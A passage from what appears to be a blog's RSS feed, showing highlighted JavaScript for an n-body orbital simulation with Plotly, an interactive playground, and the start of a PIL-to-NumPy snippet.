<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Initialize coordinates on ~Keplerian orbits</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">accept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">accept</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Prevent a particle from spawning within 0.2 AU too close to "star"</span>
<span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">;</span><span class="w"> </span><span class="c1">// Say radius of 2 AU</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">r</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mf">0.2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">accept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">theta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">theta</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">theta</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">r</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="o">-</span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span><span class="w"> </span><span class="c1">// Perturb the velocities ever so slightly</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">vTheta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">atan2</span><span class="p">(</span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">vTheta</span><span class="p">);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">vTheta</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">//console.log('Initial coords:', coords);</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">masses</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="nx">Mp</span><span class="p">);</span><span class="w"> </span><span class="c1">// Initialize masses</span>
<span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Mstar</span><span class="p">;</span><span class="w"> </span><span class="c1">// Make index one special as the central star</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="c1">// Initialize central star at origin with no velocity</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">nTPts</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">tStop</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">nTPts</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">);</span><span class="w"> </span><span class="c1">// Years -> s</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deltaT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">tInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">coordsRecord</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">coords</span><span class="p">)];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">massRecord</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">.</span><span class="nx">slice</span><span class="p">()];</span><span class="w"> </span><span class="c1">// Initialize records with initial conditions</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="nx">tInd</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nTPts</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">nBodiesStop</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//console.log('Initial coords:', coords);</span>
<span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">nBodyStep</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">);</span><span class="w"> </span><span class="c1">// Update</span>
<span class="w"> </span><span class="nx">coordsRecord</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">coords</span><span class="p">));</span>
<span class="w"> </span><span class="nx">massRecord</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">masses</span><span class="p">.</span><span class="nx">slice</span><span class="p">());</span><span class="w"> </span><span class="c1">// Add to records</span>
<span class="w"> </span><span class="nx">tInd</span><span class="o">++</span><span class="p">;</span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="nx">tInd</span><span class="p">];</span>
<span class="w"> </span><span class="c1">//console.log(`currently at t = ${(t / yearSec).toFixed(2)} years\r`);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`final time = </span><span class="si">${</span><span class="nx">time</span><span class="p">[</span><span class="nx">tInd</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">yearSec</span><span class="si">}</span><span class="sb"> years with </span><span class="si">${</span><span class="nx">nBodies</span><span class="si">}</span><span class="sb"> bodies remaining`</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// Set button text to Start Simulation</span>
<span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">prevText</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsRecord</span><span class="p">,</span><span class="w"> </span><span class="nx">massRecord</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="nx">tInd</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)];</span>
<span class="p">}</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsRecordR</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">tR</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">genNBodyResults</span><span class="p">(</span><span class="mf">256</span><span class="p">,</span><span class="mf">1</span><span class="p">,</span><span class="mf">1001</span><span class="p">);</span>
<span class="w"> </span><span class="c1">//console.log(coordsRecordR);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">createFrame</span><span class="p">(</span><span class="nx">coordsR</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">coordsR</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="o">!</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="o">!</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[];</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceCentralStar</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">],</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">],</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'markers'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'scatter'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">'Central star'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">'gold'</span><span class="p">,</span><span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">'star'</span><span class="p">,</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">xCoords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="mf">1</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">yCoords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="mf">1</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceOtherBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">xCoords</span><span class="p">,</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">yCoords</span><span class="p">,</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'markers'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'scatter'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">''</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">'dodgerblue'</span><span class="p">,</span><span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">'circle'</span><span class="p">,</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">traceCentralStar</span><span class="p">,</span><span class="w"> </span><span class="nx">traceOtherBodies</span><span class="p">];</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">createLayout</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">text</span><span class="o">:</span><span class="w"> </span><span class="sb">`N-Body Problem: t = </span><span class="si">${</span><span class="nb">Number</span><span class="p">(</span><span class="nx">t</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">).</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">)</span><span class="si">}</span><span class="sb"> years`</span><span class="p">,</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="mf">0.03</span><span class="p">,</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="mf">0.97</span><span class="p">,</span>
<span class="w"> </span><span class="nx">xanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">'left'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">yanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">'top'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">font</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">14</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">'x [AU]'</span><span class="p">,</span><span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">2.1</span><span class="p">,</span><span class="w"> </span><span class="mf">2.1</span><span class="p">]</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">'y [AU]'</span><span class="p">,</span><span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">2.1</span><span class="p">,</span><span class="w"> </span><span class="mf">2.1</span><span class="p">],</span><span class="w"> </span><span class="nx">scaleanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">'x'</span><span class="p">,</span><span class="w"> </span><span class="nx">scaleratio</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">showlegend</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w"> </span><span class="nx">margin</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">l</span><span class="o">:</span><span class="w"> </span><span class="mf">60</span><span class="p">,</span><span class="w"> </span><span class="nx">r</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">800</span><span class="p">,</span>
<span class="w"> </span><span class="nx">height</span><span class="o">:</span><span class="w"> </span><span class="mf">800</span><span class="p">,</span>
<span class="w"> </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">'black'</span><span class="p">,</span>
<span class="w"> </span><span class="p">};</span>
<span class="p">}</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">animateNBodyProblem</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">nFrames</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">tR</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nFrames</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">frameData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createFrame</span><span class="p">(</span><span class="nx">coordsRecordR</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">layout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createLayout</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
<span class="w"> </span><span class="c1">//Plotly.newPlot(plotDiv, frameData, layout);</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">animate</span><span class="p">(</span><span class="s2">"plot"</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">frameData</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="o">:</span><span class="w"> </span><span class="nx">layout</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">staticPlot</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">transition</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">frame</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w"> </span><span class="nx">redraw</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s1">'plot'</span><span class="p">,</span><span class="w"> </span><span class="nx">frameData</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="nx">animateNBodyProblem</span><span class="p">();</span>
</code></pre>
</div>
<h2 id="playground">Playground</h2>
<script src="https://cdn.plot.ly/plotly-latest.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjs/11.8.0/math.js"></script>
<script src="/assets/n-body/script.js"></script>
<div id="main-plot-div">
<noscript>
The simulations require JavaScript to be viewed properly :(
</noscript>
<div id="plot"></div>
<label for="speedControl">Speed for 3-Body Visualisation</label>
<input type="range" min="1" max="20" value="10" id="speedControl">
<label for="nBodies">Number of Bodies for n-Body Simulation (5-500)</label>
<input type="range" min="5" max="500" value="256" id="nBodies">
<label for="distanceAU">Position Range for Random 3-Body Simulations (1-55)</label>
<input type="number" min="1" max="55" value="10" id="distanceAU">
<label for="vRange">Velocity Range for Random 3-Body Simulation (1-10e4)<label>
<input type="number" min="1" max="10000" value="7e3" id="vRange">
</div>
<p><button type="button" id="startSim1" onclick="plotEarthSun()">Sun-Earth Orbit</button>
<button type="button" id="startSim2" onclick="plotClassic3BodyProblem()">Classic 3-Body Problem</button>
<button type="button" id="startSim3" onclick="plotRandomNBodySimulation()">Random n-Body Simulation</button>
<button type="button" id="startSim4" onclick="plotRandom3BodySimulation()">Random 3-Body Simulation</button></p>
<script>
function clearAl() {
plotOrbit = false;
plotClassic = false;
plotRandom = false;
plotRandom3Body = false;
}
function plotEarthSun() {
clearAl();
plotOrbit = true;
calculateAndPlot();
setTimeout(function(){
calculateAndPlot()
}, 500);
}
function plotClassic3BodyProblem() {
clearAl();
plotClassic = true;
calculateAndPlot();
setTimeout(function(){
calculateAndPlot()
}, 500);
}
function plotRandomNBodySimulation() {
clearAl();
plotRandom = true;
calculateAndPlot();
}
function plotRandom3BodySimulation() {
clearAl();
plotRandom3Body = true;
calculateAndPlot();
}
</script>
<script>
document.getElementById("speedControl").addEventListener("input", (event) => {
const speedPercentage = parseInt(event.target.value, 10);
delay = speedPercentage; // Adjust the delay based on the trackbar value
});
document.getElementById("nBodies").addEventListener("input", (event) => {
nBodies = parseInt(event.target.value, 10);
});
</script>
<h2 id="references">References</h2>
<ol>
<li>Barrow-Green, June (2008), "The Three-Body Problem", in Gowers, Timothy; Barrow-Green, June; Leader, Imre (eds.), <em>The Princeton Companion to Mathematics</em>, Princeton University Press, pp. 726–728</li>
<li>Moore, Cristopher (1993), "Braids in classical dynamics", <em>Physical Review Letters</em>, 70 (24): 3675–3679</li>
</ol>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html
</guid>
<title>
Converting between image and NumPy array
</title>
<description>
Short code snippet for converting between PIL image and NumPy arrays.
</description>
<link>https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html</link>
<pubDate>Tue, 14 Jan 2020 00:10:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="converting-between-image-and-numpy-array">Converting between image and NumPy array</h1>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">numpy</span>
<span class="kn">import</span> <span class="nn">PIL</span>
<span class="c1"># Convert PIL Image to NumPy array</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">PIL</span><span class="o">.</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">"foo.jpg"</span><span class="p">)</span>
<span class="n">arr</span> <span class="o">=</span> <span class="n">numpy</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">img</span><span class="p">)</span>
<span class="c1"># Convert array to Image</span>
